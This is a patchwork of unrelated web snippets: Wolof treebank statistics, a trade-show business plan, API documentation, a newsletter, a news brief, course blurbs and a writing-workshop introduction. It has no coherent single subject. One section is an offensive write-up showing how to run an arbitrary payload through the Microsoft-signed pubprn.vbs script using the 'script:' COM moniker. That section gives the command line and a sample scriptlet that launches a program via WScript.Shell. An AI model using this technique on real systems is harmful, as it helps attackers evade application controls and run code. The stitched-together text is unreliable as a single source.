The feature is used with 5 part-of-speech tags: PRON (2798; 6% instances), DET (2791; 6% instances), ADV (374; 1% instances), ADP (47; 0% instances), AUX (1; 0% instances).
PRON
2798 PRON tokens (45% of all PRON
tokens) have a non-empty value of NounClass
.
The most frequent other feature values with which PRON
and NounClass
co-occurred: Case=EMPTY (2798; 100%), PronType=Rel (2293; 82%), Person=3 (2216; 79%), Number=Sing (2075; 74%), Definite=EMPTY (1958; 70%), Deixis=EMPTY (1684; 60%).
PRON
tokens may have the following values of NounClass
:
Wol1
(287; 10% of non-emptyNounClass
): ku, kenn, ki, képp, keneen, kii, kooku, ka, KanWol10
(92; 3% of non-emptyNounClass
): wu, wi, wa, wii, woowuWol2
(180; 6% of non-emptyNounClass
): ñu, ñi, ñépp, ña, ñeneen, ñooñu, ñenn, ñiiWol3
(273; 10% of non-emptyNounClass
): gu, gi, ga, gii, googu, gee, geneen, googeeWol4
(92; 3% of non-emptyNounClass
): ju, ji, ja, jii, jooju, jee, jennWol5
(405; 14% of non-emptyNounClass
): bu, bi, ba, bii, beneen, boobu, benn, boobeeWol6
(107; 4% of non-emptyNounClass
): mu, mi, ma, moomu, miiWol7
(778; 28% of non-emptyNounClass
): lu, li, loolu, lépp, lii, la, lenn, leneen, lan, loolaWol8
(540; 19% of non-emptyNounClass
): yu, yi, ya, yii, yeneen, yooyu, yenn, yépp, yoy, yooyaWol9
(44; 2% of non-emptyNounClass
): su, si, soosii
| Paradigm bu | Wol1 | Wol10 | Wol2 | Wol3 | Wol4 | Wol5 | Wol6 | Wol7 | Wol8 | Wol9 |
|---|---|---|---|---|---|---|---|---|---|---|
| Number=Sing|Person=3|PronType=Int | ku | lu | ||||||||
| Number=Sing|Person=3|PronType=Rel | ku | wu | gu | ju | bu | mu | lu | su | ||
| Number=Sing|PronType=Rel | ku | gu | ||||||||
| Number=Sing|PronType=Tot | bu | |||||||||
| Number=Plur|Person=3|PronType=Rel | ñu | yu | ||||||||
| Number=Plur|PronType=Rel | ñu | |||||||||
| PronType=Int | Lu | |||||||||
| PronType=Rel | bu |
DET
2791 DET tokens (88% of all DET
tokens) have a non-empty value of NounClass
.
The most frequent other feature values with which DET
and NounClass
co-occurred: Poss=EMPTY (2791; 100%), Person=EMPTY (2787; 100%), PronType=Art (2288; 82%), Number=Sing (1779; 64%), Deixis=Prox (1536; 55%), Definite=Def (1431; 51%).
DET
tokens may have the following values of NounClass
:
Wol1
(12; 0% of non-emptyNounClass
): ki, Képp, kennWol10
(157; 6% of non-emptyNounClass
): wi, aw, wa, woowu, wenn, weneen, wii, woowee, wan, wéppWol2
(69; 2% of non-emptyNounClass
): ñi, ñépp, ñaWol3
(440; 16% of non-emptyNounClass
): ag, gi, ga, gii, googu, gépp, genn, geneen, ab, gaaWol4
(116; 4% of non-emptyNounClass
): ji, jii, ja, jooju, jenn, jeneen, jépp, jaa, jooja, JanWol5
(668; 24% of non-emptyNounClass
): bi, ab, ba, benn, boobu, bii, bépp, beneen, boobee, boobaWol6
(247; 9% of non-emptyNounClass
): mi, am, moomu, mii, ma, mépp, meneen, menn, ab, agWol7
(33; 1% of non-emptyNounClass
): li, lépp, loolu, la, Leneen, liiWol8
(941; 34% of non-emptyNounClass
): yi, ay, i, yooyu, yépp, yii, yeneen, ya, yenn, YanWol9
(108; 4% of non-emptyNounClass
): si, as, sépp, sa, senn, soosu, sii, am
| Paradigm bi | Wol1 | Wol10 | Wol2 | Wol3 | Wol4 | Wol5 | Wol6 | Wol7 | Wol8 | Wol9 |
|---|---|---|---|---|---|---|---|---|---|---|
| Definite=Def|Deixis=Prox|Number=Sing|Person=3 | wi | |||||||||
| Definite=Def|Deixis=Prox|Number=Sing | ki | wi | gi | ji | bi, ba | mi | li | si | ||
| Definite=Def|Deixis=Prox|Number=Plur | ñi | yi, ya | ||||||||
| Definite=Def|Deixis=Remt|Number=Sing | wa | ga | ja | ba, bi | ma | la | sa | |||
| Definite=Def|Deixis=Remt|Number=Plur | ña | ya, yi | ||||||||
| Number=Sing|Person=3 | gi | bi | li |
ADV
374 ADV tokens (26% of all ADV
tokens) have a non-empty value of NounClass
.
The most frequent other feature values with which ADV
and NounClass
co-occurred: PronType=Dem (308; 82%), Deixis=Prox (201; 54%).
ADV
tokens may have the following values of NounClass
:
Wol11
(255; 68% of non-emptyNounClass
): fi, fa, fu, fii, foofu, fenn, feneen, foofa, fee, faaWol12
(119; 32% of non-emptyNounClass
): noonu, ni, nii, nan, na, nu, noona, nee, neneen
NounClass
seems to be lexical feature of ADV
. 100% lemmas (22) occur only with one value of NounClass
.
ADP
47 ADP tokens (2% of all ADP
tokens) have a non-empty value of NounClass
.
ADP
tokens may have the following values of NounClass
:
Wol10
(10; 21% of non-emptyNounClass
): wuWol12
(4; 9% of non-emptyNounClass
): niWol3
(6; 13% of non-emptyNounClass
): guWol4
(4; 9% of non-emptyNounClass
): juWol5
(9; 19% of non-emptyNounClass
): buWol6
(4; 9% of non-emptyNounClass
): muWol7
(1; 2% of non-emptyNounClass
): luWol8
(8; 17% of non-emptyNounClass
): yuWol9
(1; 2% of non-emptyNounClass
): su
| Paradigm bu | Wol10 | Wol4 | Wol5 | Wol6 | Wol8 |
|---|---|---|---|---|---|
| Number=Sing | wu | ju | bu | mu | |
| Number=Plur | yu |
AUX
1 AUX tokens (0% of all AUX
tokens) have a non-empty value of NounClass
.
The most frequent other feature values with which AUX
and NounClass
co-occurred: Aspect=EMPTY (1; 100%), FocusType=EMPTY (1; 100%), Mood=EMPTY (1; 100%), Number=Sing (1; 100%), Person=3 (1; 100%), Tense=EMPTY (1; 100%), VerbForm=EMPTY (1; 100%).
AUX
tokens may have the following values of NounClass
:
Wol7
(1; 100% of non-emptyNounClass
): la
Relations with Agreement in NounClass
The 10 most frequent relations where parent and child node agree in NounClass
:
PRON –[det]–> DET (24; 73%),
PRON –[conj]–> PRON (18; 90%),
PRON –[dislocated]–> PRON (6; 86%),
ADV –[conj]–> ADV (2; 100%),
PRON –[acl:relcl]–> PRON (1; 100%),
PRON –[appos]–> PRON (1; 100%).


Repository: https://github.com/bbortt/ngx-autocomplete
Note:This page is not responsive! The autocomplete component does not rely on any css framework! (But are customizable, as you can see in the "Bootstrap Autocomplete".)


eHealth Xpo
Electronic Healthcare Record (EHR)
Virtual Trade Show
General objectives:
To develop/leverage a virtual event infrastructure/platform, process, and marketing strategy that can be repurposed for use in the execution of multiple virtual events (Goal is 3-4 events for year one).
To be first to market to introduce a dynamic, virtual event platform to multiple high technology industries and vertical markets. The eHealthcare market segment will be targeted initially.
To provide a distinctive communication and branding platform and value proposition (low cost, high return) to participating sponsors and vendors.
To provide a unique, cost-effective, high awareness exposition experience to attendees, complemented by extended (real-time/offline), ubiquitous access (anytime, anywhere).
Background/Drivers:
Establishing and harmonizing architecture, data standards, and technical certification to develop an Internet-based health information exchange has not been easy. However, over the course of the last 10-15 years - since the introduction of such healthcare standards and regulatory committees such as HIPAA, HL7, etc. - eHealthcare systems have gained momentum, and will continue to do so. Case in point, President Bush has called for a nationwide system of interoperable e-health records by 2014.
The primary driver and compelling reason for healthcare organizations to establish an EHR framework is clear. eHealthcare systems ensure the privacy and security of patient records. Moreover, eHealthcare systems elevate the quality and proficiency of patient care thereby enabling a higher level of patent safety. Process efficiencies are good thing. However, with deaths due to medical errors approaching 200,000 per year, instituting an error-free patient care solution is paramount.
Now that the market has structure, providers, medical professionals, and IT vendors have begun to emerge in droves, providing innovative products, creating process efficiencies, and improving the quality of patient care. eHealth Xpo EHR virtual trade show will provide a platform through which these vendors can gain exposure for their company, introduce new products and solutions, share best practices, and benefit from numerous lead generation opportunities for their target market - hospitals, clinics, physician practices, and home healthcare, and acute care organizations.
Time-frame: Q4’05 - Q1’06. The target date will be contingent on infrastructure setup, marketing and promotion timeline, and industry event calendar impact.
Online Duration: 3 Days
Offline Access: 2 Weeks show (24/7)
Registration Fees: $150 real-time access; $75 off-line access
Exhibitor Fees:
$ 15,000 Platinum (2)
Large booth design w/logo
Event sponsorship
Email campaign sponsorship w/logo
Large Banner advertising - all levels
Multimedia key note presentations (1)
Multimedia break out sessions (2)
Advertised main floor giveaway
20 attendee passes
$ 7,500 Gold
Medium booth design w/logo
Email campaign medium logo insertion
Small targeted banner advertising
Break out sessions (1)
Event function giveaway
10 attendee passes
$ 5,000 Silver
Medium booth design w/logo
Email campaign small logo insertion
Medium targeted banner advertising
Break out sessions (1)
Event function giveaway
10 attendee passes
Target Audience:
Goal: 2,500-3,500 (1,500-2,500 real-time, 1,000 offline)
Profile: Attendees will be comprised of marketing directors, product managers and company officers who benefit from up-to-the-minute analysis of and strategic advice about new product development, marketing strategy and trend analysis.
Target Vendors:
Goal: 60-100
Profile: eHealth Xpo is designed for both large and small vendors in the Healthcare IT space. Vendor products include hardware, software, and integrated platform solutions that address the eHealth application requirements of hospitals, clinics, physician practices, and home healthcare, and acute care organizations.
Target vendors would include companies like Eclipsys, GE Medical Systems, Epic Systems, Medical Records Institute, Panasonic, Fujitsu, NextGen, McKesson, Cerner, Siemens Medical Solutions, Stinger Industries, etc.
eHealth Xpo EHR Virtual Tradeshow Objectives:
The objective of the eHealth Xpo is to address the various interests and needs of both the attendee and the participating vendors. These areas include: industry trends, educational programs, networking, and lead generation.
Industry Trends
This area will focus on industry trends, regulatory standards, technology – their implementation and applications, and best practices. The primary delivery vehicle will be keynote presentations by industry experts, analysts, and noted company executives.
Keynote/Breakout topical suggestions include:
Analysis of current eHealthcare IT market, technology trends and market growth
Overview of current developments in government, patient safety, efficiency, quality of care
Understanding EHR concepts and technology: CPR, CMR, EPR, EMR, DMR, PMRI, PHR, etc.
Provider strategies for cutting healthcare costs
Standards and IT developments (weaknesses and expectations)
Acute care market
Ambulatory care market
Effective and rewarding strategic technology alliances
Implementing an eHealth EHR system.
Current Hurdles Facing EHRs
The Survey on EHR Trends and Usages
Functions of the EHR
Dimensions of the EHR
Applications, not Records
Small Steps toward EHR Adoption
Primer for healthcare IT startups (funding, strategy, pitfalls, etc.)
Marketing strategy (how to develop and evaluate)
Education
This area will focus on practical educational programs, giving the attendee the opportunity to learn about and evaluate available technologies, vendors, and select systems from 60-100 exhibiting companies. The primary delivery vehicle for these programs will be vendor sponsored breakout sessions that include vendor specific product and solution presentations.
Specific topical areas will include:
Emerging technologies, mobile healthcare devices, and integrated cart solutions; ePrescription, practice management, and medical record document imaging and content management applications; Computerized/Mobile Order Entry systems (CPOE/MPOE) and EHR systems for hospitals and small, medium, and large practices.
Networking
Networking is an indispensable activity that provides tremendous value-add to the program for the attendees. It is also a primary goal and benefit for the participating vendors/sponsors. Networking at eHealth Xpo will be very effective due to the underlying technology found in the InXpo engine. Networking and communication among the attendees and vendors will be accomplished through varied activities such as interactive Q&A during key presentation and learning sessions, general and categorized event chat rooms, direct C2C, B2C, and B2B communication sessions and VCD exchanges.
Lead Generation
The primary reason vendors participate in marketing activities such eHealth XPO is to create demand for their products and services and achieve their customer acquisition goals. Additionally, events such as eHealth Xpo offers the vendor an opportunity to build relationships with other vendors and manufacturers for the purpose of enhancing their product and service offering through strategic alliances and expanding their delivery channels, either locally or globally.


--- layout: example ---
| Class name | Colour |
|---|---|
das-!-color-green
|
Green |
das-!-color-red
|
Red |
das-!-color-blue
|
Blue |
das-!-color-dark-blue
|
Dark blue |
das-!-color-dark-grey
|
Dark grey |
das-!-color-mid-grey
|
Mid grey |
das-!-color-inherit
|
Forces element to inherit text color from its parent element |


{% extends "profiles/read_later.html" %} {% block title %}{% trans "Authorize Pocket" %}{% endblock %} {% block profile_content %}
{% trans "You need to link your FeedHQ account to your Pocket account. Please submit the form below to proceed." %}
{% endblock %}


Digital Agency that focuses on
web and mobile solutions
SmartResponse
SmartResponse
SmartResponse is an online platform that collects and analyze location specific, pre- and post-disaster data from local, state and national organizations providing humanitarian assistance.
SmartResponse is the first independent, data-driven resource to display location-specific information from these organizations including: budget, legal/registration status, types of services provided, number of staff on the ground, history, partners and affiliations, start and end dates, and total funds raised and spent on that particular response.
Despite hundreds of relief groups receiving billions, basic services are not reaching those who need it most. Donations are sitting in the bank, while suffering that should be prevented isn’t. DAP is working to improve the effectiveness of relief by focusing on the transparency and public accountability of agencies and organizations with critical life-saving responsibilities.
After major disasters occur, hundreds, if not thousands of groups solicit donations from a generous public. Unfortunately, brand recognition, emotional appeals and generic anecdotes raise the most cash instead of those with the greatest capacity to deliver. By improving the transparency and public accountability of the humanitarian aid/relief sector, DAP is working to make sure donated dollars save.
Events such as Hurricane Katrina, Haiti’s earthquake, and Japan’s tsunami/nuclear disaster demonstrate that catastrophic disasters can and will continue to occur. DAP minimizes the devastating effects of disasters by infusing best practices, lessons learned, and public accountability into the operations of communities, government agencies, and disaster relief/humanitarian aid groups.
Executive Director
<EMAIL_ADDRESS>seeking volunteers for


|
MB2D
2D MonoGame-based Engine
|
Maps commands to keys and trigger types More...
Public Member Functions | |
| InputMap () | |
| Initializes a new instance of the T:MB2D.IO.InputMap class. More... | |
| Command | Assign< T > (Keys key, CommandType type, params object[] args) |
| Assign a Command to the specified key and CommandType . More... | |
| T | Search< T > () |
| Searches the map for a specific command More... | |
Properties | |
| List< Command > | this[Keys key] [get] |
| Gets the T:MB2D.IO.Commnad mapped to the specified key. More... | |
| Dictionary< Keys, List< Command > > | Collection [get] |
| Gets a key->Command dictionary More... | |
Maps commands to keys and trigger types
|
inline |
Initializes a new instance of the T:MB2D.IO.InputMap class.
|
inline |
Assign a Command to the specified key and CommandType .
| key | Key to assign the command to |
| type | Type of trigger |
| T | The command to assign |
| T | : | Command |
|
inline |
Searches the map for a specific command
| T | The 1st type parameter. |
| T | : | Command |
|
get |
Gets a key->Command dictionary
The collection of commands.
|
get |
Gets the T:MB2D.IO.Commnad mapped to the specified key.
| key | Key to query |


Hi,I am Java Cssvich, have been
working with a web-design for
more than 10 years, contact me
in case you need a web site
Hi,I am Java Cssvich, have been
working with a web-design for
more than 10 years, contact me
in case you need a web site


| #6|20 |
| open |
|
ESSENTIAL UPDATES FOR THOSE WORKING TO ADVANCE OPEN IN EUROPE A SPARC Europe publication |
Map Our InfustructureA one year-project aimed at gathering insights into scholarly communications infrastructure in Europe recently launched. Funded by the Open Society Foundations and led by SPARC Europe, the project will identify scholarly communication infrastructure that is Europe-based; identify the business models being used by said infrastructure; and determine the degree of openness of the infrastructure while also exploring what kinds of measures might be taken to mkae it more open. Read More |
Get an early look: Initial results from recent study of OE landscape among Higher Education libraries in EuropeIn late 2019, SPARC Europe, in consultation with the European Network of Open Education Librarians (ENOEL), launched a survey, a first of its kind, designed to gather insights into the current Open Education (OE) landscape within Higher Education libraries. Interim results from this work have recently been published in the 2020 Envisioning Report for Empowering Universities. Our final report is scheduled to publish in May 2020. Read More |
Why, in your opinion, do we need Open Access to research?Open Access publishing is particularly relevant in environmental health because the field directly relates to decisions in society, issues that often attract public attention. To make the best possible decisions as a society, documentation on environmental hazards should be shared with the public, policy makers, the private sector, and other interested parties. In other words, the results of such concerning science should be widely accessible to all, with no excessive fees to pay, particularly since science is often financed by public funds. My ambition was therefore to use the Open Access opportunity to help environmental health research become more readily available and thereby more useful. Read More |
stay-sane-stay-safe.com/A Dutch design studio and a textbureau started an open project to support caregivers in this time of the Coronavirus pandemic. They designed posters themselves and also called on designers worldwide to do so. Hundreds of designers worldwide participated! Now there are more than a thousand poster designs from 73 countries. Free to download, print and share on socials! stay-sane-stay-safe.com |
| This news brief was compiled and distributed by the SPARC Europe staff. Any questions or comments can be directed to Angela Walseng, Communications Adviser for SPARC Europe. |


One Dead, Fifteen Injured as Three Explosions Rock a Cafe in Central Bishkek - Video
BISHKEK (Sputnik) - According to witnesses, the first explosion was followed by two more, and a fire broke out. Firefighters are working at the scene.
One person died and fifteen were injured following three explosions in a cafe in the centre of Kyrgyz capital on Friday.
According to urgent medical help centre director Iskender Shayakhmetov, the deceased person was an employee at the cafe. He died immediately after suffering burns.
Two people were evacuated, but the exact number of those injured has not been made public yet.
According to firefighters' preliminary data, gas cylinders installed in the cafe may have exploded.


Basic tattooing is not difficult. If you can follow a line then you can do a tattoo outline. If you can colour in a design on paper using small circles, then you are part way to being able to put colour into a tattoo. It wont be perfect but that’s where the practice comes in. .
It takes hard work, dedication, a love of art, a desire to continually improve and respect for your customers. My course simply provides the basic knowledge to enable you to make a start.
When and only when you are proficient in these 2 skills will you be on your way to becoming a tattooist. You will only be able to add ‘Artist’ to your title when you have had a lot more practice on flesh and you are up to a good commercial standard.
Find out more »


sealed class GetOwnershipProofResult
Result returned by API for getting a Sudo ownership proof. The API can failed with an error or return the Sudo ownership proof.
Failure |
Encapsulates a failed get ownership proof result. data class Failure : GetOwnershipProofResult |
Success |
Encapsulates a successful get ownership proof result. data class Success : GetOwnershipProofResult |


public final class XInputKeystroke
extends com.sun.jna.Structure
XInput.XInputGetKeystroke(int, int, XInputKeystroke)
.
Future devices may return HID codes and virtual key values that are not supported on current devices, and are currently undefined.
Applications should ignore these unexpected values. A virtual-key code is a byte value that represents a particular physical key on the keyboard,
not the character or characters (possibly none) that the key can be mapped to based on keyboard state. The keyboard state at the time a virtual
key is pressed modifies the character reported. For example, VK_4 might represent a "4" or a "$", depending on the state of the SHIFT key.
A reported keyboard event includes the virtual key that caused the event, whether the key was pressed or released (or is repeating),
and the state of the keyboard at the time of the event. The keyboard state includes information about whether any CTRL, ALT,
or SHIFT keys are down. If the keyboard event represents an Unicode
character (for example, pressing the "A" key),
the Unicode
member will contain that character. Otherwise, Unicode
will contain the value zero.
The valid virtual-key (VK_xxx) codes are defined in XInput.h. In addition to codes that indicate key presses, the following codes indicate controller input.
| Header | XInput.h |
|---|
Source: Microsoft Documentation
XInput.XInputGetKeystroke(int, int, XInputKeystroke)
| Modifier and Type | Field and Description |
|---|---|
short |
Flags
Flags that indicate the keyboard state at the time of the input event.
|
byte |
HidCode
HID code corresponding to the input.
|
java.lang.String |
Unicode
This member is unused and the value is zero.
|
byte |
UserIndex
Index of the signed-in gamer associated with the device.
|
short |
VirtualKey
Virtual-key code of the key, button, or stick movement.
|
| Constructor and Description |
|---|
XInputKeystroke() |
autoRead, autoRead, autoWrite, autoWrite, clear, createFieldsOrder, createFieldsOrder, createFieldsOrder, createFieldsOrder, dataEquals, dataEquals, equals, getAutoRead, getAutoWrite, getPointer, hashCode, newInstance, newInstance, read, readField, setAutoRead, setAutoSynch, setAutoWrite, size, toArray, toArray, toString, toString, write, writeField, writeField
public short VirtualKey
Source: Microsoft Documentation
public java.lang.String Unicode
Source: Microsoft Documentation
public short Flags
Flags that indicate the keyboard state at the time of the input event. This member can be any combination of the following flags:
| Value | Description |
|---|---|
XInput.XINPUT_KEYSTROKE_KEYDOWN } | The key was pressed. |
XInput.XINPUT_KEYSTROKE_KEYUP } | The key was released. |
XInput.XINPUT_KEYSTROKE_REPEAT } | A repeat of a held key. |
Source: Microsoft Documentation
public byte UserIndex
0
– 3
.
Source: Microsoft Documentation
public byte HidCode
Source: Microsoft Documentation


ng-boilerplate
A base for front-end development with AngularJS
ng-boilerplate includes:
Application
-
RequireJS - JavaScript file and module loader
-
Bootstrap - Front-end CSS framework
-
LESS - CSS pre-processor
-
Bower - Front-end package manager
-
Gulp - Streaming build system
Testing
-
angular-mocks - Mocking for AngularJS
-
Karma - Integration test runner
-
Mocha - Testing framework
-
Chai - Super-flexible assertion library
Instructions:
-
Install bower using
sudo npm install bower -g
.
Then run bower in the ngbp directory to install front-end dependencies: bower install
.
-
Install gulp using
sudo npm install gulp -g
.
Then install the gulp plugins: npm install
.
-
Run
gulp
to compile, minify and lint front-end assets.
-
Run
gulp debug
while you are developing so that you can use the unminified version of your assets.
I hope you find this useful!
«––
Ian


tl;dr: C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs <IP_ADDRESS> script:<Payload>
When abusing injection, we are taking advantage of attacker controlled input passed to GetObject() and then combining that with the “script:” or “scriptlet:” COM monikers.
GetObject()
This method allows you to access an already instantiated COM object. If there isn’t an instance of the object already (if invoked without a moniker), this call will fail. For example, accessing Microsoft Excel’s COM object via GetObject() would look like this:
Set obj = GetObject( , "Excel.Application")
For the above to work, an instance of Excel has to be running. You can read more about GetObject() here.
While GetObject() is interesting by itself, it only allows us to access an instance of an already instantiated COM object. To get around this, we can implement a COM moniker to facilitate our payload execution. If you aren’t familiar with COM monikers, you can read more about them here. There are various COM monikers on Windows that allow you to instantiate objects in various ways. From an offensive standpoint, you can use these monikers to execute malicious code.
An example COM scriptlet will look like this:
<?XML version="1.0"?>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</scriptlet>
You can also use James Forshaw’s (@tiraniddo) tool DotNetToJScript to extend the JScript/VBScript in the COM Scriptlet, allowing for Win32 API access and even Shellcode execution. When you combine one of these two monikers and various calls to GetObject(), a lot of fun is had.
PubPrn.vbs
On Windows 7+, there is a Microsoft Signed WSH script called “PubPrn.vbs,” which resides in “C:\Windows\System32\Printing_Admin_Scripts\en-US”. When looking at this particular script, it becomes apparent that it is taking input provided by the user (via command line arguments) and passing an argument to “GetObject()”.
This means that we can run this script and pass it the two arguments it expects. The first argument can be anything and the second argument is the payload via the script: moniker.
Note: If you provide a value that isn’t a network address for the first argument (since it expects a ServerName), you can add the “/b” switch to cscript.exe when calling to suppress any additional error messages.
Since VBScript relies on COM to perform actions, it is used heavily in numerous Microsoft signed scripts.


BDFL
`Prev `__
B
`Next `__
--------------
**BDFL**
[Python; common] Benevolent Dictator For Life.
`*Guido* <../G/Guido.html>`__, considered in his role as the project
leader of `*Python* <../P/Python.html>`__. People who are feeling
temporarily cheesed off by one of his decisions sometimes leave off the
B. The mental image that goes with this, of a cigar-chomping caudillo in
gold braid and sunglasses, is extremely funny to anyone who has ever met
Guido in person.
--------------
+-------------------------+----------------------------+-------------------------+
| `Prev `__ | `Up <../B.html>`__ | `Next `__ |
+-------------------------+----------------------------+-------------------------+
| BCPL | `Home <../index.html>`__ | beam |
+-------------------------+----------------------------+-------------------------+


The Velocity Template Engine allows the Velocity Template Language to be used within a JSP using JSP custom tags. Velocity is a general templating tool that provides a simple template language that allows easy access to java objects, methods, and data.
By allowing the use of Velocity from within a JSP, it allows a JSP author easy access to all public methods exposed by a Java class, as well as a simple set of control and logical directives.
This custom tag library requires no software other than a servlet container that supports the JavaServer Pages Specification, version 1.1 or higher, and the Jakarta Velocity Template Engine, version 1.1 or higher.
Building the library is fairly straightforward. What to do :
Follow these steps to configure your web application with this tag library:
<taglib> <taglib-uri>http://jakarta.apache.org/taglibs/veltag-0.01</taglib-uri> <taglib-location>/WEB-INF/veltag.tld</taglib-location> </taglib>
To use the tags from this library in your JSP pages, add the following directive at the top of each page:
<%@ taglib uri="/WEB-INF/veltag.tld" prefix="vel" %>
where "vel" is the tag name prefix you wish to use for tags from this library. You can change this value to any prefix you like.
| velocity | Processes the body as VTL. The body of the tag consists of normal Velocity template content. This content is a free mixture of VTL (Velocity Template Language) references and directives, as well as non-VTL content which is called 'schmoo'. |
|
|||||||||||||||||||||
| Processes the body as VTL. The body of the tag consists of normal Velocity template content. This content is a free mixture of VTL (Velocity Template Language) references and directives, as well as non-VTL content which is called 'schmoo'. | |||||||||||||||||||||
|
See the example template in the distrubution /examples directory
To create the javadocs, use the 'javadoc' build target. The docs will be here.
v0.01


Warning! No service available at the moment. Try again later.
Opps! Invalid queue number. Please select a valid queue from the list.
Opps! Invalid ticket number. Please enter the number that is printed on your ticket.
Opps! Invalid service number. Please enter the number that is currently displayed on the monitor.
Sorry! Your wait time cannot be determined. Most probably, this is because the office is closed, an unexpected service number was entered at this time, or you've already been served.
Great! You've successfully told us who is being served - thanks This will help us calculate the estimated time that you'll be served in.
Thanks! Your feedback has been recorded
About the App
This application provides an estimate of queuing times for face-to-face services of the Irish Government. It was developed in 2014 by a volunteer team from Code for Ireland.
top
About Code for Ireland
Code for Ireland is following in the footsteps of Code For America, founded in 2009. Like Code For America, Code For Ireland has attracted technologists to get involved in developing technology solutions in and with the Irish government and its communities.
top
Disclaimer
The information provided by this website is for entertainment purposes only. By accessing this site and/or by requesting and/or receiving information and/or advice through the site or any of the guests or affiliates of the site, you agree that you are solely liable for any and all actions taken as a result of the information and/or advice received, and acknowledge that the site providers take no responsibility for the content or service provided. You agree that by accessing the site you take full responsibility for any and all consequences acted upon in utilizing the information provided within the site.


Copyright 2013 Delawiz Studios
A Delawiz Productions company | All Rights Reserved |<EMAIL_ADDRESS>Home
Tour
Weddings
Portraits & closeups
Babies & Kids
Events
Engagements
Schedule
About
Contact


Fast 3D & Depth-separable Convolution on HiFi4 DSP
With the rise of several machine learning and deep learning algorithms, the need for robust and efficient hardware is widely known. Specific to Automatic Speech Recongnition (ASR), conventional Digital Signal Processors (DSPs) do not accommodate the needs of fast and hefty computational requirements of deep learning algorithms. This motivates the design of newer designs of DSPs customizable to deep learning algorithms.
Cadence pioneers in the design of DSPs for audio and voice algorithms. HiFi 4 is one such design by engineers and scientists at Cadence which enables efficient computing coupled with low memory footprint. HiFi 4 DSP is a highly optimized audio and voice processor built for efficient execution of audio and voice codecs and pre- and post-processing modules along with other demanding DSP functions in areas such as ASR, wireless communications.
In summers of 2018, I worked on devising efficient algorithms to implement 3D and Depth Separable Convolution on HiFI 4. Leveraging the parallel design of HiFi 4 coupled with assembly-level MAC (multiply and accumulate) operations, I was able to speed up the CNN implementation by 4000% as compared to a high-level optimized implementation 1. This enables real-time processing in ASR applications.
Along with the conventional gradient-based optimization method used in machine learning, some applications require using discrete-optimization methods. Foreseeing the need to fasten such integer-based optimization algorithms, I implemented a customizable framework of fixed-point implementation of convolution along with the conventionally used floating-point counterpart. The performance as well as memory footprint in fixed-point implementation was 60-80x better than that of high-level implementation 2.
Additionally, I designed customizable modules of 3D convolution (similar to what Tensorflow or Keras has to offer for CPUs and GPUs) which would be packaged with the DSP for commercial usage by clients. This enabled the users of HiFi 4 worldwide to run deep learning algorithms efficiently for several voice-based applications without having to know the complex details of the hardware specifications and features of HiFi 4.


Introduction
Welcome to our one-week writing workshop! This workshop is
meant for students who are working on a manuscript that they plan to submit for
peer review at a scientific journal. We’ll be focusing on how to structure and
rewrite your manuscript to make it clearer and easier to read.
There are a number of things that are important that we won’t cover here:
- Grammar and usage. These are both very important, and you’ll want these
to be impeccable when you submit your manuscript. However, there are loads of
resources and courses for this, and while I often see cases where students
haven’t mastered this yet, I don’t think it’s hard to find the resources to
learn these. Also, at least through your graduate career, you will almost always
have co-authors, including a senior author (typically the head of your research
group). Grammar and usage problems are easy to fix quickly when your senior author
edits your paper. The things we will cover here take more time and work.
- Doing a literature review. This is an art of its own. It’s very important
for your manuscript to use good examples from the literature to set up why your
study is important and to put what you find in the context of previously
published studies. If you are pursuing a graduate degree, you will need to
explore the literature enough to understand the current state of science in your
field and how your work fits into the field. With certain types of manuscripts,
like commentaries and reviews, the whole manuscript might be a synthesis and
exploration of the literature. Ideally, you will have done quite a bit of
work to explore and get examples from the literature by the time we do this
workshop, as this will provide some of the raw material for your manuscript.
However, we will only tangentially discuss how to explore and review the literature.
This will be in the context of building and presenting arguments in your manuscript,
as evidence from the literature will often be needed to do this, particularly in the
Introduction and Discussion.
- Creating effective figures and tables. This is also extremely important.
At worst, bad figures and tables can make a manuscript look unprofessional. If
they do, then a reviewer may worry that the research presented in the study is
similarly sloppy or poorly done. Figures and tables are the best chance to immediately
engage a reader, and they’ll often stick with the reader, if they’re good, much
longer than the text. They also serve double-duty, as you’ll use
them in presentations you make about the research. Finally, a really good figure or
table encourages the reader to explore the results from the research deeply, and
start looking for patterns or trends that suggest ideas for next steps for the
research area. Manuscripts are more likely to get cited, and to have a higher
impact on your field, if readers leave the paper with ideas of research they want
to do to take the next steps. There are some excellent resources for learning how
to design and create figures and tables. I particularly like books by Edward Tufte
and Howard Wainer. There are also a number of books on visualization that are
specific to a programming language, like R or Python.
- How to get words on paper. Our focus will be on improving and
revising a manuscript once you’ve already got some stuff down on paper. We won’t
talk much about how to get the stuff down in the first place. There are some
good books on the topic of writing initial drafts. Different writers have
different styles for this. Some will work very hard on the first draft, so that
rewriting doesn’t need to be extensive. I tend to start by writing a lot, but
all of it pretty messy, and then wrangling and editing that raw
material into a more solid draft. I usually do lots of rounds of drafts,
first moving big parts around to form the larger structure of
the paper and to see where there are holes that need more evidence or support.
Then, in later drafts, my editing process involves drilling down to make
the writing clearer and easier to read. In this workshop we’ll focus on the work
involved with the later stages of editing. If you’d like to learn more about
tips and techniques for earlier stages, where the focus is generating your
starting material, I like the books of Peter Elbow. Stephen King’s On Writing
is also great, particularly in inspiring you to get something down even when
you’re discouraged (by bad reviews or by how big the task seems, for example).
Click on the Next button (or navigate using the
links at the top of the page) to continue.


Ready to use UI Modules
Also offers ready-to-use UI modules for Messaging, chatbots, voice and video calls which you can customize to your needs.
- Interactive user interface and designs
- Easy to integrate
- Fully customization
- Control the system UI visibility
- Supported on most popular platforms


| I l@ve RuBoard |
